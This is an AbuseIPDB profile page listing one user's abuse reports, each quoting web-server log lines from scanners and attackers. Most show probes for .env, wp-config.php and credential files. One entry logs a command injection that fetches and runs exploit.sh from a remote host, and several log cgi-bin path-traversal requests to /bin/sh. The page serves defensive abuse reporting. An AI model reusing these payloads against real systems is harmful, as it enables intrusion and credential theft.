AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User nuno joined AbuseIPDB in May 2021 and has reported 7,244 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇱🇹 194.165.16.167	09 Jun 2026	194.165.16.167 - - [09/Jun/2026:13:28:16 +0100] :80 "x03x00x00/xE0x00x00x00x00x00Cookie: mstshash=A ... show more 194.165.16.167 - - [09/Jun/2026:13:28:16 +0100] :80 "x03x00x00/xE0x00x00x00x00x00Cookie: mstshash=Administr" 400 384 "-" "-" "-" 0.070 - 194.165.16.167 - - [09/Jun/2026:13:31:52 +0100] :80 "x03x00x00/*xE0x00x00x00x00x00Cookie: mstshash=Administr" 400 384 "-" "-" "-" 0.067 - ... show less	Hacking Web App Attack
🇩🇪 165.154.138.3	09 Jun 2026	165.154.138.3 - - [09/Jun/2026:10:13:51 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "curl/7.29.0" "-" ... show more 165.154.138.3 - - [09/Jun/2026:10:13:51 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "curl/7.29.0" "-" 0.000 - 165.154.138.3 - - [09/Jun/2026:10:13:54 +0100] :80 "OPTIONS / HTTP/1.0" 444 0 "-" "-" "-" 0.000 - ... show less	Web App Attack
🇺🇸 66.132.172.178	09 Jun 2026	66.132.172.178 - - [09/Jun/2026:05:53:12 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (com ... show more 66.132.172.178 - - [09/Jun/2026:05:53:12 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-" 0.000 - 66.132.172.178 - - [09/Jun/2026:05:53:13 +0100] :80 "GET / HTTP/1.1" 400 384 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-" 0.000 - ... show less	Web App Attack
🇧🇪 34.77.200.119	09 Jun 2026	34.77.200.119 - - [09/Jun/2026:04:20:44 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Wind ... show more 34.77.200.119 - - [09/Jun/2026:04:20:44 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-" 0.000 - 34.77.200.119 - - [09/Jun/2026:04:20:44 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-" 0.000 - ... show less	Web App Attack
🇮🇳 139.59.66.222	09 Jun 2026	139.59.66.222 - - [09/Jun/2026:04:20:41 +0100] host:443 "GET /.env HTTP/1.1" 404 1632 "https://www.g ... show more 139.59.66.222 - - [09/Jun/2026:04:20:41 +0100] host:443 "GET /.env HTTP/1.1" 404 1632 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" "2.35" 0.000 - 139.59.66.222 - - [09/Jun/2026:04:20:43 +0100] host:443 "GET /admin/.env HTTP/1.1" 404 1632 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" "2.35" ... show less	Web App Attack
🇳🇱 176.65.139.155	09 Jun 2026	176.65.139.155 - - [09/Jun/2026:04:05:37 +0100] :80 "GET /dnscfg.cgi?dns1=;cd /tmp\|\|cd /var/tmp\|\|cd ... show more 176.65.139.155 - - [09/Jun/2026:04:05:37 +0100] :80 "GET /dnscfg.cgi?dns1=;cd /tmp\|\|cd /var/tmp\|\|cd /dev/shm; (wget http://64.118.132.61/exploit.sh -O exploit.sh 2>/dev/null \|\| curl -s http://64.118.132.61/exploit.sh -o exploit.sh \|\| busybox wget http://64.118.132.61/exploit.sh -O exploit.sh 2>/dev/null \|\| tftp -g -r exploit.sh 64.118.132.61 69 \|\| ftpget -u x22x22 -p x22x22 -P 21 64.118.132.61 exploit.sh exploit.sh); [ -s exploit.sh ] && chmod 777 exploit.sh && ./exploit.sh&dns2=8.8.8.8 HTTP ... show less	Hacking Web App Attack
🇧🇪 34.14.109.33	09 Jun 2026	34.14.109.33 - - [09/Jun/2026:04:02:51 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windo ... show more 34.14.109.33 - - [09/Jun/2026:04:02:51 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-" 0.000 - 34.14.109.33 - - [09/Jun/2026:04:02:51 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-" 0.000 - ... show less	Web App Attack
🇲🇾 47.250.55.210	09 Jun 2026	47.250.55.210 - - [09/Jun/2026:03:20:37 +0100] host:443 "GET / HTTP/1.1" 404 407 "-" "curl/7.64.1" " ... show more 47.250.55.210 - - [09/Jun/2026:03:20:37 +0100] host:443 "GET / HTTP/1.1" 404 407 "-" "curl/7.64.1" "-" 0.000 - 47.250.55.210 - - [09/Jun/2026:03:21:08 +0100] host:443 "GET / HTTP/1.1" 404 378 "-" "curl/7.74.0" "-" 0.000 - ... show less	Web App Attack
🇺🇸 47.77.224.226	09 Jun 2026	47.77.224.226 - - [09/Jun/2026:02:26:27 +0100] :80 "x16x03x01x00xEEx01x00x00xEAx03x03Ix06xB2xF9xBCx9 ... show more 47.77.224.226 - - [09/Jun/2026:02:26:27 +0100] :80 "x16x03x01x00xEEx01x00x00xEAx03x03Ix06xB2xF9xBCx99ixC0YxFBxF8xBAe-x83Ud]x0Ex8DxB7b8xB4gxC6xDD9dZ8f gxC1x81ixB3xF6xF2xCBxB0xA9x19NxD6xBDx95g\|pxFCxE9<ZxA1x90TxB7xE9xA58'O;x00&xC0+xC0/xC0,xC00xCCxA9xCCxA8xC0x09xC0x13xC0" 400 384 "-" "-" "-" 0.188 - 47.77.224.226 - - [09/Jun/2026:02:26:37 +0100] :80 "x03x00x00x13x0ExE0x00x00x00x00x00x01x00x08x00x03x00x00x00" 400 384 "-" " ... show less	Hacking Web App Attack
🇺🇸 13.58.246.218	08 Jun 2026	13.58.246.218 - - [08/Jun/2026:23:47:06 +0100] :80 "x03x00x00+&xE0x00x00x00x00x00Cookie: mstshash=zg ... show more 13.58.246.218 - - [08/Jun/2026:23:47:06 +0100] :80 "x03x00x00+&xE0x00x00x00x00x00Cookie: mstshash=zgrab" 400 384 "-" "-" "-" 0.120 - 13.58.246.218 - - [08/Jun/2026:23:47:34 +0100] :80 "x16x03x01x00xEEx01x00x00xEAx03x03VxAFxF9xABxBCxA5xB1oxBEcx96xF9xFAxC4DT[xCBxA7^x8ExDCxB3gxB9xDDPxE1OxBFxE1x9E xC5x05xA5x83e-`xCETDXx9D&x1CZx8Ex83xB2xE5xB13xF7WxC6x92xABV5 xD5.x90x00&xCCxA8xCCxA9xC0/xC00xC0+xC0,xC0x13xC0x09xC0x14xC0" 400 38 ... show less	Hacking Web App Attack
🇺🇸 157.245.118.253	08 Jun 2026	157.245.118.253 - - [08/Jun/2026:21:01:23 +0100] :80 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.% ... show more 157.245.118.253 - - [08/Jun/2026:21:01:23 +0100] :80 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 384 "-" "-" "-" 0.308 - 157.245.118.253 - - [08/Jun/2026:21:01:24 +0100] :80 "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 384 "-" "-" "-" 0.538 - ... show less	Web App Attack
🇺🇸 205.210.31.108	08 Jun 2026	205.210.31.108 - - [08/Jun/2026:20:35:29 +0100] :80 "x16x03x01x00xEEx01x00x00xEAx03x03ax88x13xD3ix07 ... show more 205.210.31.108 - - [08/Jun/2026:20:35:29 +0100] :80 "x16x03x01x00xEEx01x00x00xEAx03x03ax88x13xD3ix07xE0x9Fx22dxBBx82x22x91xFCxC4h0hCx02\|xCE5x9BxEEyx90x8DfTx94 xACAx1CxB3xA9`xDFx03xE5x89(3>wx95x12xD6xE2fx1CxCCx08_xC48" 400 384 "-" "-" "-" 2.651 - 205.210.31.108 - - [08/Jun/2026:20:35:29 +0100] :80 "x16x03x01x00xCAx01x00x00xC6x03x03xA9x8Fx82x0Bx01jxC3WxC4x19xE8x864x16xBE?xEDxB5x8BxE9yxCF0 x8FIxDExF1xFFxAF}xE7x00x00h ... show less	Hacking Web App Attack
🇧🇷 177.124.88.216	08 Jun 2026	177.124.88.216 - - [08/Jun/2026:19:25:52 +0100] _:443 "GET / HTTP/1.0" 400 482 "-" "ivre-masscan/1.3 ... show more 177.124.88.216 - - [08/Jun/2026:19:25:52 +0100] _:443 "GET / HTTP/1.0" 400 482 "-" "ivre-masscan/1.3 https://github.com/robertdavidgraham/" "-" 0.000 - 177.124.88.216 - - [08/Jun/2026:19:32:05 +0100] :80 "GET / HTTP/1.0" 444 0 "-" "ivre-masscan/1.3 https://github.com/robertdavidgraham/" "-" 0.000 - ... show less	Web App Attack
🇮🇹 83.229.8.197	08 Jun 2026	83.229.8.197 - - [08/Jun/2026:17:54:54 +0100] :80 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/ ... show more 83.229.8.197 - - [08/Jun/2026:17:54:54 +0100] :80 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 384 "-" "-" "-" 0.328 - 83.229.8.197 - - [08/Jun/2026:17:54:54 +0100] :80 "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 384 "-" "-" "-" 0.362 - ... show less	Web App Attack
🇬🇧 195.96.139.148	08 Jun 2026	195.96.139.148 - - [08/Jun/2026:16:24:34 +0100] :80 "GET / HTTP/1.0" 444 0 "-" "-" "-" 0.000 - 195.9 ... show more 195.96.139.148 - - [08/Jun/2026:16:24:34 +0100] :80 "GET / HTTP/1.0" 444 0 "-" "-" "-" 0.000 - 195.96.139.148 - - [08/Jun/2026:16:24:34 +0100] :80 "OPTIONS / HTTP/1.0" 444 0 "-" "-" "-" 0.000 - ... show less	Web App Attack
🇧🇪 34.78.179.125	08 Jun 2026	34.78.179.125 - - [08/Jun/2026:16:19:34 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Wind ... show more 34.78.179.125 - - [08/Jun/2026:16:19:34 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-" 0.000 - 34.78.179.125 - - [08/Jun/2026:16:19:35 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-" 0.000 - ... show less	Web App Attack
🇺🇸 3.21.163.185	08 Jun 2026	3.21.163.185 - - [08/Jun/2026:16:17:33 +0100] host:443 "GET / HTTP/1.1" 400 884 "-" "visionheight.co ... show more 3.21.163.185 - - [08/Jun/2026:16:17:33 +0100] host:443 "GET / HTTP/1.1" 400 884 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" "-" 0.000 - 3.21.163.185 - - [08/Jun/2026:16:18:00 +0100] host:443 "GET / HTTP/1.1" 400 884 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" "-" 0.000 - ... show less	Web App Attack
🇧🇪 34.22.227.201	08 Jun 2026	34.22.227.201 - - [08/Jun/2026:15:53:37 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Wind ... show more 34.22.227.201 - - [08/Jun/2026:15:53:37 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-" 0.000 - 34.22.227.201 - - [08/Jun/2026:15:53:37 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-" 0.000 - ... show less	Web App Attack
🇧🇪 34.38.180.83	08 Jun 2026	34.38.180.83 - - [08/Jun/2026:15:37:48 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windo ... show more 34.38.180.83 - - [08/Jun/2026:15:37:48 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-" 0.000 - 34.38.180.83 - - [08/Jun/2026:15:37:58 +0100] host:80 "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" "-" 0.000 - ... show less	Web App Attack
🇳🇱 107.189.24.77	08 Jun 2026	107.189.24.77 - - [08/Jun/2026:13:50:38 +0100] _:443 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.% ... show more 107.189.24.77 - - [08/Jun/2026:13:50:38 +0100] _:443 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 384 "-" "-" "-" 0.061 - 107.189.24.77 - - [08/Jun/2026:13:50:42 +0100] _:443 "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 384 "-" "-" "-" 0.053 - ... show less	Web App Attack
🇧🇪 34.22.185.81	08 Jun 2026	34.22.185.81 - - [08/Jun/2026:13:48:41 +0100] host:443 "GET /v2/actuator/env HTTP/1.1" 400 884 "-" " ... show more 34.22.185.81 - - [08/Jun/2026:13:48:41 +0100] host:443 "GET /v2/actuator/env HTTP/1.1" 400 884 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "-" 0.000 - 34.22.185.81 - - [08/Jun/2026:13:48:41 +0100] host:443 "GET /v2/actuator/configprops HTTP/1.1" 400 884 "-" "Mozilla/5.0 (Linux; Android 9; Mi A2 Lite) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36" "-" 0.000 ... show less	Web App Attack
🇩🇪 35.246.172.40	08 Jun 2026	35.246.172.40 - - [08/Jun/2026:13:40:09 +0100] host:443 "GET /firebase-adminsdk.json HTTP/1.1" 404 1 ... show more 35.246.172.40 - - [08/Jun/2026:13:40:09 +0100] host:443 "GET /firebase-adminsdk.json HTTP/1.1" 404 1603 "-" "Mozilla/5.0 (compatible; Konqueror/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML/4.4.3 (like Gecko) Kubuntu" "2.35" 0.000 - 35.246.172.40 - - [08/Jun/2026:13:40:20 +0100] host:80 "GET /wp-config.php HTTP/1.1" 404 378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0" "-" 0.000 - ... show less	Web App Attack
🇸🇬 45.82.78.102	08 Jun 2026	45.82.78.102 - - [08/Jun/2026:13:37:43 +0100] :80 "x16x03x01x05xC2x01x00x05xBEx03x03`ux16xCDXGxD9x8C ... show more 45.82.78.102 - - [08/Jun/2026:13:37:43 +0100] :80 "x16x03x01x05xC2x01x00x05xBEx03x03`ux16xCDXGxD9x8Cjx93xCA\|" 400 384 "-" "-" "-" 0.247 - 45.82.78.102 - - [08/Jun/2026:13:37:54 +0100] :80 "x16x03x01x05xC2x01x00x05xBEx03x03xB3xA7xC1xE0xD2k/x9Fzxx15x22xB5bxCACx1Cx05Mx92x1BoxFCsx81+x92x86xB6x8ExBB< x7Fx9FhPxFBkx1Dx9BNxD7dxB7KxFEx8Cx97xF5x12=xE6xA5jx16xF3xB9xC9IxA3xC0HxB8x22x00x1AxC0+xC0/xC0,xC00xCCxA9xCCxA8xC0x09xC0 ... show less	Hacking Web App Attack
🇦🇺 34.151.136.186	08 Jun 2026	34.151.136.186 - - [08/Jun/2026:12:41:18 +0100] host:443 "GET /.env HTTP/1.1" 404 378 "-" "Mozilla/5 ... show more 34.151.136.186 - - [08/Jun/2026:12:41:18 +0100] host:443 "GET /.env HTTP/1.1" 404 378 "-" "Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Slackware/13.0" "-" 0.000 - 34.151.136.186 - - [08/Jun/2026:12:41:27 +0100] host:443 "GET /.env.copy HTTP/1.1" 400 884 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36" "-" 0.000 - ... show less	Web App Attack
🇧🇷 34.95.238.134	08 Jun 2026	34.95.238.134 - - [08/Jun/2026:12:34:44 +0100] host:443 "GET /.env HTTP/1.1" 404 1603 "-" "Mozilla/5 ... show more 34.95.238.134 - - [08/Jun/2026:12:34:44 +0100] host:443 "GET /.env HTTP/1.1" 404 1603 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 YaBrowser/18.11.1.715 (beta) Yowser/2.5 Safari/537.36" "2.35" 0.000 - 34.95.238.134 - - [08/Jun/2026:12:34:46 +0100] host:443 "GET /api/.env HTTP/1.1" 404 1603 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Safari/537.36 OPR/20.0.1396.73172" "2.35" 0.00 ... show less	Web App Attack